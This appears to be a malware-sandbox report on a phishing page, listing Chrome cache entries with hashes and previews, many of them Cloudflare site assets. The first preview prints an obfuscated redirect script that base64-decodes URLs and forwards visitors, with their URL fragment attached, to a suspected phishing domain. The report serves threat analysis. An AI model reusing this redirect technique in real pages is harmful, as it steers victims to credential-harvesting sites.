Preview:	<script type="text/javascript">.. var firstBase64Url = "aHR0cHM6Ly94LmNvbQ==";.. var secondBase64Url = "aHR0cHM6Ly9lYXJ0aGhlcm9zLmNvbS5kZS9RbVZsTy8=";.... // Load the first URL for a few seconds.. setTimeout(function() {.. window.open(atob(firstBase64Url), '_blank');.. }, 2000); // 2000 milliseconds = 2 seconds.... // After the specified time, load the second URL.. setTimeout(function() {.. window.location.href = atob(secondBase64Url) + "#E" + window.location.hash.substr(1);.. }, 2000); // 2000 milliseconds = 2 seconds.. </script>

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (36066)
Category:	dropped
Size (bytes):	64731
Entropy (8bit):	5.3998157503622615
Encrypted:	false
SSDEEP:	768:tmuMyCg6kBKVBeMLh9jDQ3MnMY29T46T4EXKTF2KqgHk2ZNzW6zfdavT46BpZi10:ZCVkBKVth9jsf4g4hqoNjzdIn
MD5:	C40578595E91E5F5052A007257DA3D89
SHA1:	EA03B60DD690DFA36695192D97223E3BEBCB7CCE
SHA-256:	7DDA9CC5089608CE2C3EFC4DFC6001042DCEA5DDD4DEC95862A74B9E3816A0F5
SHA-512:	8FF5D0F26B8406E6E1973169E98DF6E49052BC07D139B4C7EA6AE2237698B12CFF9BF49272B9FA7847726E3947D35430273D22EE812BBFBB504CE516503540CC
Malicious:	false
Reputation:	low
Preview:	(()=>{let e=window.console\|\|{log(){},debug(){}},i=window.JSON\|\|{stringify(){},parse(){}},l=new class{constructor(){this.console=e,this.JSON=i}indexOf(e,i,t){if(null==e)throw TypeError("Array.indexOf called on null or undefined");return e.indexOf?e.indexOf(i,t):this._indexOfPolyfill(e,i,t)}assign(...e){if(Object.assign&&"function"==typeof Object.assign)return Object.assign.apply(null,e);if(null===e[0]\|\|void 0===e[0])throw TypeError("Cannot convert undefined or null to object");return this._assignPolyfill(e)}startsWith(e,i,t){var t=0<t?0\|t:0;return e.substring(t,t+i.length)===i}includes(e,i){if(e instanceof RegExp)throw TypeError("First argument must not be a RegExp");return-1!==this.indexOf(e,i=void 0===i?0:i)}keys(e){if(Object.keys)return Object.keys(e);if("function"==typeof e\|\|"object"==typeof e&&null!==e)return this._keysPolyfill(e);throw TypeError("Object.keys called on non-object")}_indexOfPolyfill(e,i,t){let n=e.length>>>0,a=Math.min(0\|t,n);if(a<0)a=Math.max(0,n+a);else if(a>=n)re

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1273
Entropy (8bit):	4.25044752600902
Encrypted:	false
SSDEEP:	24:tCb8EAu334Y5jidiXbK6UQiI7aCRGkIlV83eQMY5SESMuX5/W9bZbc0Un9l8GXAl:/Wom3bK47P8yn5OpXQRtbUn9mGXAl
MD5:	F754034F42CC256E4AF70BB003F8DE26
SHA1:	07EC764FC63F61F49CC3C206173866933123D215
SHA-256:	FD9DD3E223096582809C7AB18999463F734ACE15492DCB01AD98002325406064
SHA-512:	B1DCF45AD7208562848DBF286769BD3BC28AC4EA877F07DD62E7F4C5A1335288D79E965D05F608C5025C608F9DB4C1815E04B8C965DF98BFAD85C0E24D794926
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M23.9708 27.75C26.0419 27.75 27.7208 26.0711 27.7208 24C27.7208 21.929 26.0419 20.25 23.9708 20.25C21.8997 20.25 20.2208 21.929 20.2208 24C20.2208 26.0711 21.8997 27.75 23.9708 27.75Z" fill="#FF6633"/>.<path d="M45.4185 22.5H41.9183C41.562 18.2636 39.7182 14.2898 36.7133 11.2823C33.7084 8.27473 29.7362 6.42748 25.5 6.06754V2.58154H22.5V6.06754C18.2639 6.42748 14.2917 8.27473 11.2868 11.2823C8.28186 14.2898 6.43805 18.2636 6.08179 22.5H2.58154V25.5H6.08404C6.44741 29.7306 8.29403 33.6966 11.2978 36.6978C14.3015 39.6989 18.2692 41.5421 22.5 41.9018V45.4185H25.5V41.9018C29.7309 41.5421 33.6985 39.6989 36.7023 36.6978C39.7061 33.6966 41.5527 29.7306 41.916 25.5H45.4185V22.5ZM25.5 38.8935V31.575H22.5V38.8928C19.0661 38.5422 15.8579 37.0189 13.4158 34.5795C10.9736 32.1401 9.44676 28.9336 9.09229 25.5H16.425V22.5H9.09079C9.43793 19.0603 10.9618 15.8459 13.405 13.3999C15.8481 10.9539 19.060

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19711), with no line terminators
Category:	downloaded
Size (bytes):	19711
Entropy (8bit):	5.31563434664311
Encrypted:	false
SSDEEP:	384:F0k2FVaL/pXFl7VKt7TC7QFzEdgT1XwkAM56lkwebhE:12FALRVl5M7TjFzEdgT1XwMhE
MD5:	5F956EAA034D01A4C0AEFBBF6940D322
SHA1:	6E18011159FBC7A8A3EC1D2CA44333DBD2BD9BDC
SHA-256:	71EE824BDFC570D2DCE804DC25F92E3041B38A1384D0B9357C899D1224B1C06B
SHA-512:	089754618D7CE0B79EF173AABDEB553C19A28AC25F44DC5743940C563CCB6BAC92A21A11B843874E55228A1BBBC4F9EA28A7BCA5601DD9D36F4F185608719F81
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/component---src-components-page-page-template-tsx-d45b6e355a31d828fc9b.js
Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[297],{31199:function(e,t,n){n.d(t,{E:function(){return E}});var o=n(46942),a=n.n(o),l=n(96540),r=n(94646),i=n(24266),c=n(41693),m=n(9747),d=n(54232);var u=({data:e,formBusinessLine:t})=>{const n=(0,c.useLocation)();let o=!1;return a=>{if(!o){const a={form_name:null==e?void 0:e.marketoFormLeadSource,form_id:null==e?void 0:e.marketoFormId,form_business_line:t,form_sfdc_campaign:null==e?void 0:e.marketoFormLeadSourceDetail,page_path:`${n.pathname}${n.search}`,page_url:n.href,landing_page:(0,d.l1)(n.pathname).startsWith("/lp/")};(0,m.W)({eventName:"form_email_subscription",location:n,customEventParams:a}),o=!0}}},s=n(36754),p=n(9307),g=n(7401),f=n(37155),y=n(73158),k=n(81791);const E=({contentfulMarketoData:e,additionalSubmitFormData:t,InputElement:n,TextAreaElement:o,SelectElement:c,CheckboxElement:m,SuccessElement:d,LabelElement:E,labelTextColor:b,ErrorElement:v,isEnglishOnly

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	4021
Entropy (8bit):	4.030151247600635
Encrypted:	false
SSDEEP:	96:7Xsmnk1LeZ51W6gL8osOx9OWePHpRzwwOo:LsmklOtoPGxREwOo
MD5:	67C8DCBE189A2CF2A0A2966BA23A3DA5
SHA1:	B6C0EF161E8169C02DEF7E37366229F9659BF25C
SHA-256:	2CCE97E447D0D250EFD52C87B9CACF644FCE460470C65EEBA8615E6911DB4A2B
SHA-512:	907E042ABC82315456A21E71593A4B4EE8CFDEC86C24EA92F77C10A624861476ED9B0A3812FE5585E706347638F2FAD72E3F8F89B0FB16436EA0128EAB208BF5
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/6VUhUMEcvn3L3j88LttHzC/b2cf2b702aad874db9cb61b0028e9c40/logo_garmin_trusted-by_gray.svg
Preview:	<svg width="158" height="32" viewBox="0 0 158 32" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M118.022 16.3247C118.022 15.7298 118.359 15.4324 119.053 15.4324H120.54C121.254 15.4324 121.849 15.7695 122.325 16.285L131.367 25.7835C131.664 26.0809 132.041 26.1404 132.041 25.7835V16.1859C132.041 15.71 132.279 15.4324 132.874 15.4324H134.341C134.797 15.4324 135.174 15.6307 135.174 16.1661V30.7607C135.174 31.5936 135.095 31.772 134.361 31.772H132.993C132.418 31.772 132.101 31.6531 131.704 31.2366L122.047 21.064C121.631 20.6079 121.214 20.6079 121.194 21.183V31.0383C121.194 31.4944 120.976 31.7522 120.441 31.7522H118.775C118.279 31.7522 118.041 31.5341 118.022 31.078V16.3247ZM109.475 15.4324H111.775C112.073 15.4324 112.311 15.6703 112.311 15.9876V31.2168C112.311 31.5143 112.073 31.772 111.775 31.772H109.475C109.177 31.772 108.94 31.5143 108.94 31.2168V15.9876C108.92 15.6902 109.177 15.4324 109.475 15.4324ZM84.2714 16.5627C84.2714 15.8091 84

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://alb.reddit.com/rp.gif?event=PageVisit&id=t2_1upmecjq&ts=1729094221108&uuid=dc93f89a-e6dd-4c25-851a-993e355821da&integration=reddit&opt_out=0&v=rdt_65e23bc4&sh=1024&sw=1280
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1369
Entropy (8bit):	4.580187745635918
Encrypted:	false
SSDEEP:	24:tCb8EAuv2BE816xpYfjZWcGAtz/O3WTVoQSliwPiOv0OaRtiCpKi/iAmc+AixniN:/1BECNUYMaV1LFzmca2iaH
MD5:	3AC85BA92BF284381A6C1B0EC402A12B
SHA1:	6B6ECF4FB19CF320DF6044A2C9A8B2020178FF28
SHA-256:	109F16A232291E95A8D389EDF4F6920EF16D3760D9C2D458F7E851F9DD2E756F
SHA-512:	648C18296981239E5E244643FBBC4E471B698B97CE901E672BDC2E710074AA5BD5A6EBAF029135D1EE4EBC4FB137E4D5F0B111892A6D0E1D1777F1D412DC1133
Malicious:	false
Reputation:	low
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/1W5s21iEz5Zk92rEr9cGr3/729e55fb2d26df7970d1c04d6040ffca/cloudflare-spectrum.svg
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M24.6675 44.8425H23.3325L22.7925 44.5725C22.2 44.2725 8.15247 37.0725 8.15247 22.4325V11.8275L9.44247 10.3275L10.5 10.2C14.8346 9.55012 18.856 7.55647 21.9975 4.5L22.8825 3.51H25.1325L26.01 4.5C29.1565 7.56627 33.1907 9.56104 37.5375 10.2L38.5575 10.3425L39.8475 11.8425V22.4325C39.8475 37.0875 25.8 44.25 25.2075 44.5725L24.6675 44.8425ZM11.1675 13.125V22.4325C11.1675 34.6875 22.5525 41.055 24.015 41.82C25.515 41.07 36.8625 34.6875 36.8625 22.4325V13.125C32.025 12.3621 27.5366 10.1375 24 6.75C20.4674 10.1348 15.9846 12.3592 11.1525 13.125H11.1675Z" fill="#FF6633"/>.<path d="M25.5 14.265H22.5V20.88H25.5V14.265Z" fill="#FF6633"/>.<path d="M29.8192 16.0555L25.1417 20.733L27.263 22.8543L31.9405 18.1768L29.8192 16.0555Z" fill="#FF6633"/>.<path d="M33.735 22.5H27.12V25.5H33.735V22.5Z" fill="#FF6633"/>.<path d="M27.2706 25.1381L25.1493 27.2594L29.8268 31.9369L31.9481 29.8156L27.2706 25.1381

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	203217
Entropy (8bit):	5.16954817647732
Encrypted:	false
SSDEEP:	1536:wp59iEXy6LNeFE8p59iEXy6LNids22UuNNoJ57T5IahU5WuF:IiEXy6Lw5iEXy6L8s22UuLoDBIaqWuF
MD5:	40FEFE433F5FAA32EDD1AD9B6634B7B8
SHA1:	C3DF5739176E9C8DAA4192D1A36A051A67489A8F
SHA-256:	3511B291A1FE84673A7708046B9C414FA70DA25843C325B17C2A2362B160F401
SHA-512:	4F65A9433BDB6FDE1456096ADCAAEBA28F7C6D20321D76A3DC2338846E7B3DA147C323E8FA63256F4E9FF5E67A0D9C1F91D586296A54C0FE701C232099D20C6D
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/page-data/plans/enterprise/contact/page-data.json
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/plans/enterprise/contact/","result":{"data":{"page":{"pageName":"Plans Enterprise Contact Form Page (MRK-9321) Redwood Variant","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"Translated for Locale","enCA":"Translated for Locale","enIN":"English for Locale","enGB":"Translated for Locale","nlNL":"English for Locale","idID":"English for Locale","thTH":"English for Locale","ruRU":"Translated for Locale","svSE":"English for Locale","viVN":"English for Locale","trTR":"English for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"plans/

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	3.6534652184263736
Encrypted:	false
SSDEEP:	48:wIJct3xIAxG/7nvWDtZcdYLtX7B6QXL3aqG8Q:wIJct+A47v+rcqlBPG9B
MD5:	F3418A443E7D841097C714D69EC4BCB8
SHA1:	49263695F6B0CDD72F45CF1B775E660FDC36C606
SHA-256:	6DA5620880159634213E197FAFCA1DDE0272153BE3E4590818533FAB8D040770
SHA-512:	82D017C4B7EC8E0C46E8B75DA0CA6A52FD8BCE7FCF4E556CBDF16B49FC81BE9953FE7E25A05F63ECD41C7272E8BB0A9FD9AEDF0AC06CB6032330B096B3702563
Malicious:	false
Reputation:	low
Preview:	............ .h...&... .... .........(....... ..... ............................................0...................................................................................................................................v.].X.:.X.:.r.Y........................................q.X.S.4.S.4.S.4.S.4.S.4.S.4...X....................0........q.W.S.4.X.:.................J...A...g.........................K.H.V.8..........................F..B.....................,.......................................B..............................................B..B..B..B..B...u..........................................B..B..B..B..B...{.................5.......k...........................................................7R..8F.................................................2........Vb..5C..;I..................R^.....................0................Xc..5C..5C..5C..5C..5C..5C..lv..........................................]i..<J..:G..Zf....................................................

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	5357
Entropy (8bit):	3.8122412837158404
Encrypted:	false
SSDEEP:	96:d7r7MV1xadgTjO+kxhXMho20/0F5msihv2xZvP+JD08Bwx:dAV1YdgTjPkxhXMm208F5NiSZvP+Jg8Y
MD5:	ED89C29B7B83E7E155353D87F7209863
SHA1:	1842F77D2774B1B98C7859528A3C154DC8D02DA8
SHA-256:	D34B807635D46DB6510BC4E3F9B033269B84F249FB5A0C41E2315A7F46F6363C
SHA-512:	64F9B2D7A822B0F98D74984410618D35E39CEEA8C4D2C939477F030549AA15CEE333AC79D57EB1BC105630F7DB45EBFAC0A584E0239AC34AC601048FBFC962A9
Malicious:	false
Reputation:	low
Preview:	<svg width="40" height="40" viewBox="0 0 40 40" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M37.3437 8.58755C37.3404 7.4377 36.9302 6.32613 36.1859 5.44971C35.4415 4.5733 34.411 3.98861 33.2769 3.79921C32.1428 3.60981 30.9782 3.82793 29.9894 4.41492C29.0007 5.00192 28.2516 5.91991 27.8749 7.0063L12.2124 6.9563C12.1369 6.06147 11.8151 5.20504 11.2826 4.48194C10.7501 3.75883 10.0278 3.19731 9.19571 2.85961C8.36362 2.52191 7.45427 2.42123 6.56846 2.56873C5.68266 2.71623 4.855 3.10614 4.17724 3.69525C3.49948 4.28436 2.99809 5.04965 2.72866 5.90628C2.45923 6.76291 2.43228 7.67742 2.6508 8.54843C2.86932 9.41944 3.32478 10.2129 3.96667 10.8409C4.60857 11.4689 5.41183 11.9069 6.28742 12.1063L9.04992 28.45C8.34203 28.8731 7.75335 29.4692 7.33925 30.1823C6.92515 30.8955 6.69922 31.7022 6.68271 32.5267C6.6662 33.3512 6.85965 34.1663 7.24488 34.8955C7.6301 35.6246 8.19444 36.2438 8.88483 36.6949C9.57521 37.1459 10.369 37.4139 11.1914 37.4737C12.0139 37.5336 12.8381 37.3832 13.5865 37.

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32757)
Category:	dropped
Size (bytes):	313653
Entropy (8bit):	5.343722172270314
Encrypted:	false
SSDEEP:	3072:AncWATKQlRW2ZQPG2KwGTPk2kGG34/JQh3n7q35LUfMLGHqHs7q:OcWMKQlRW2ZQPG27kk2k8/J637qmq
MD5:	766A0D58B323B21BD7CC99029787B7FF
SHA1:	CF9E77D439E6A2356EDE77C2CE2C1F818274F11D
SHA-256:	C8F4E28952E94B8E79900301EBB5C1DBDAFF19445FD935C57637158116A59786
SHA-512:	5603FEF59CB98684771CF45E28CD05530D3CFEC16AA6956809D3CE00DCBCD7490B01D32D8BC8E886B43C727534F59D7D0B5421E3D274263DC458AEDAC891C01D
Malicious:	false
Reputation:	low
Preview:	// For license information, see `https://assets.adobedtm.com/f597f8065f97/065ba81630d7/launch-efab6d095ce0.js`..window._satellite=window._satellite\|\|{},window._satellite.container={buildInfo:{minified:!0,buildDate:"2024-10-08T18:36:04Z",turbineBuildDate:"2024-08-22T17:32:44Z",turbineVersion:"28.0.0"},environment:{id:"EN5816e6c2d2e94d7c92a2dc1ebed92c57",stage:"production"},dataElements:{"0033_DL_hostname":{modulePath:"adobegoogledatalayer/src/lib/dataElements/gtmDlPropertyKey.js",settings:{value:"hostname",isReturnOnlyEventProps:!1}},"0014_XDM_Variable_Form_Tracking":{modulePath:"adobe-alloy/dist/lib/dataElements/variable/index.js",settings:{cacheId:"d2a17f75-bd29-4f39-93a1-cee579c1b5da"}},"0034_DL_page_title":{modulePath:"adobegoogledatalayer/src/lib/dataElements/gtmDlPropertyKey.js",settings:{value:"page_title",isReturnOnlyEventProps:!0}},"0040_DL_page_referrer":{modulePath:"adobegoogledatalayer/src/lib/dataElements/gtmDlPropertyKey.js",settings:{value:"page_referrer",isReturnOnlyEven

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1967
Entropy (8bit):	4.30884827263401
Encrypted:	false
SSDEEP:	48:H/oyFSYmiuOF4DuhAJuuwaN6NNcGVcdYjq1:HQYWOF4ChAEuwA6AGydYjq1
MD5:	E1F7BEFFD257586E119022C1E05936E2
SHA1:	B7972F38E6DA7BF07A8F5C21C9801C708192A354
SHA-256:	C12AFC4B5532E2BB9516665A1F2EA23DA60786429272B95F3D4B7B2F829E0CDA
SHA-512:	C1EB7285E138DC1849A0FCD74DB08DE1F967EBAD24270EA108C003C2280C57DB44FF04DE6C096A7F07E066FF18BCB695D3AB0DCA4C2E94F078FD9FF8CC060D2C
Malicious:	false
Reputation:	low
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M49 0V1.62H60.7V0H49ZM62.32 0V1.62H79C77.899 0.651281 76.5043 0.0807336 75.04 0H62.32ZM82.24 1.62V0H91.72L92.32 1.62H82.24ZM99.52 0L98.92 1.62H108.88V0H99.52ZM49 4.85999V3.17999H60.7V4.85999H49ZM62.32 3.17999V4.85999H80.92C80.8191 4.26941 80.616 3.70091 80.32 3.17999H62.32ZM82.24 4.85999V3.17999H92.86L93.4 4.85999H82.24ZM98.32 3.17999L97.78 4.85999H108.88V3.17999H98.32ZM52.36 8.03999V6.35999H57.4V8.03999H52.36ZM65.68 6.35999V8.03999H70.72V6.35999H65.68ZM75.64 8.03999V6.35999H81.04C81.0167 6.931 80.9158 7.49618 80.74 8.03999H75.64ZM85.6 6.35999V8.03999H94.54L93.94 6.35999H85.6ZM96.64 8.03999L97.24 6.35999H105.64V8.03999H96.64ZM52.36 9.60004V11.22H57.4V9.60004H52.36ZM65.68 11.22V9.60004H80.02C79.6457 10.2254 79.1572 10.775 78.58 11.22H65.68ZM85.6 9.60004V11.22H90.64V10.32L91 11.22H100.24L100.6 10.32V11.22H105.64V9.60004H96.16L95.62 10.98L95.14

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 54 x 54, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	452
Entropy (8bit):	7.0936408308765495
Encrypted:	false
SSDEEP:	12:6v/7EljW8E6Cl2SYh8SZM4tf70FSDvMXDxJp6ScFChY9:U8hCl2SIdZBtAFSDUX/ozIhK
MD5:	C33DE66281E933259772399D10A6AFE8
SHA1:	B9F9D500F8814381451011D4DCF59CD2D90AD94F
SHA-256:	F1591A5221136C49438642155691AE6C68E25B7241F3D7EBE975B09A77662016
SHA-512:	5834FB9D66F550E6CECFE484B7B6A14F3FCA795405DECE8E652BD69AD917B94B6BBDCDF7639161B9C07F0D33EABD3E79580446B5867219F72F4FC43FD43B98C3
Malicious:	false
Reputation:	low
URL:	https://earthheros.com.de/cdn-cgi/images/icon-exclamation.png?1376755637
Preview:	.PNG........IHDR...6...6............3PLTE.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?..".....tRNS.@0.`........ P.p`...../IDATx.....0...l..6....+...~yJ.F"....oE..L.3..[..i2..n.WyJ..z&.....F.......b....p~...\|:t5.m...fp.i./e....%.%...n.P...enV.....!...,.......E........t![HW.B.g.R.\^.e..o+........%.&-j..q...f@..o...]... ....u0.x..2K.+C..8.U.L.Y.[=.....y...o.tF..]M..U.,4..........a.>/.)....C3gNI.i...R.=....Q7..K......IEND.B`.

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65528), with no line terminators
Category:	downloaded
Size (bytes):	163247
Entropy (8bit):	5.2170974165998
Encrypted:	false
SSDEEP:	1536:6QP8bc5wOmp59iEXy6LNidq22UuNNoJ57T5IahU5WuF:6QP8bc5wOiiEXy6L8q22UuLoDBIaqWuF
MD5:	D9BB08D472E1335CE3A809261CC439A2
SHA1:	54B518164272F4ABFC50196AED35F003350F9A38
SHA-256:	42A5CF9D56B574A83FBBA487E86B4B049AED27D8F8C1ADAC84D62AAFC32D2971
SHA-512:	24344674DA1747C55069B6311EC34BC8F08519DDCD0B02D2A4E0E276EF33D587872FCCC80B474446ED0D29EDB57FDFEC7B33B1F5BBB2E453BCF7BD11EB6D799C
Malicious:	false
Reputation:	low
URL:	https://www.cloudflare.com/page-data/under-attack-hotline/page-data.json
Preview:	{"componentChunkName":"component---src-components-page-page-template-tsx","path":"/under-attack-hotline/","result":{"data":{"page":{"pageName":"Under Attack Hotline (MOE-1056) Redwood (CURRENT)","localeList":{"enUS":"English for Locale","zhCN":"Translated for Locale","zhTW":"Translated for Locale","frFR":"Translated for Locale","deDE":"Translated for Locale","itIT":"Translated for Locale","jaJP":"Translated for Locale","koKR":"Translated for Locale","ptBR":"Translated for Locale","esES":"Translated for Locale","esLA":"Translated for Locale","enAU":"Translated for Locale","enCA":"Translated for Locale","enIN":"English for Locale","enGB":"Translated for Locale","nlNL":"English for Locale","idID":"Translated for Locale","thTH":"Translated for Locale","ruRU":"Translated for Locale","svSE":"English for Locale","viVN":"Translated for Locale","trTR":"English for Locale","zhHansCN":"Translated for Locale","plPL":"Translated for Locale","arAR":"No Page for Locale"},"relativePath":"under-attack-

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1793
Entropy (8bit):	5.270418119603636
Encrypted:	false
SSDEEP:	24:2dauNATLf3WAQAgMGFWMNX5VBCd+4xAQosQI7d7QTM+p:cDAvf3WApEbGx8UY
MD5:	8051DEE1DD72E78A9528A16C062CFF66
SHA1:	07D853F507039B2489D9818CB6EE7442C1B60E2A
SHA-256:	86F2EB97CC1F3909C12E4512DE9E267215D94AC5AAEE9393D0F007F18C34E8BA
SHA-512:	F510CB37D8EB522A2784821A0A6E38FF2B369BB86CCE70A39368A1C40DF1457E178409D2E1B2A1F8105A398B5D5255485629EAA79816C1472E4A316128CC86C7
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>. Generator: Adobe Illustrator 24.3.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 30 14" style="enable-background:new 0 0 30 14;" xml:space="preserve">.<style type="text/css">...st0{fill-rule:evenodd;clip-rule:evenodd;fill:#FFFFFF;}...st1{fill-rule:evenodd;clip-rule:evenodd;fill:#0066FF;}...st2{fill:#FFFFFF;}...st3{fill:#0066FF;}.</style>.<g>..<g id="final---dec.11-2020_1_">...<g id="_x30_208-our-toggle_2_" transform="translate(-1275.000000, -200.000000)">....<g id="Final-Copy-2_2_" transform="translate(1275.000000, 200.000000)">.....<path class="st0" d="M7.4,12.8h6.8l3.1-11.6H7.4C4.2,1.2,1.6,3.8,1.6,7S4.2,12.8,7.4,12.8z"/>....</g>...</g>..</g>..<g id="final---dec.11-2020">...<g id="_x30_208-our-toggle" transform="translate(-1275.000000, -200.000000)">....<g id="Final-Copy-2" transform="translate

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24619
Entropy (8bit):	4.795617479634342
Encrypted:	false
SSDEEP:	384:OfeTcT+2KbBnQ7REs3SFZ/HlMvVUtzzi0X:OWcT+2KbBnQ7RhvV0zu0X
MD5:	B6EE0570A62B6F8B262FD11D419AC672
SHA1:	A4D04AA80C2FF61AC04741C073817D78437131A4
SHA-256:	709FB5D06C3F83D291E8D4F0E09092553DA101640D980DFD9737364D9D93FBEE
SHA-512:	8161E02F5EF5B76E62C1CF6DA81123DAF55BA6CEB91B60D86A1CDC90EE40D3A51C163B2A71C142692A233C7880A45688B077EC2E2473A646DB1ED29C14C5714A
Malicious:	false
Reputation:	low
Preview:	{"fields":[{"id":"FirstName","label":"First Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":0,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"LastName","label":"Last Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":1,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Company","label":"Full Company Name:","dataType":"text","validationMessage":"This field is required.","rowNumber":2,"columnNumber":0,"maxLength":255,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Email","label":"Work Email:","dataType":"email","validationMessage":"Must be valid email. example@example.com","rowNumber":3,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"Title","label":"Job Title:","dataType":"select","defaultV

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (394)
Category:	downloaded
Size (bytes):	4439
Entropy (8bit):	5.077468443040974
Encrypted:	false
SSDEEP:	96:1j9jwIjYjUDK/D5DMF+BOiVAZSkZLqmnrRj09PaQxJbGD:1j9jhjYjIK/Vo+t6TZ2mnrW9ieJGD
MD5:	0864A218959246F7F6CFCA914FFB0C55
SHA1:	A77465F5CD4083C2BB5B8830C4E6E124397809A9
SHA-256:	020A4E35AFCB14F703BE5DF487F294C71F8F2ED09B2E452D65970FC962CB32B0
SHA-512:	18F028220E7C0B3ED7E0B2A4B667015E006965E25DBCAFEDA574A465144C443151BD11454638A21FEE1717BBBE05233700F366CFC7007BDD3ACDC7B18980E368
Malicious:	false
Reputation:	low
URL:	https://earthheros.com.de/QmVlO/
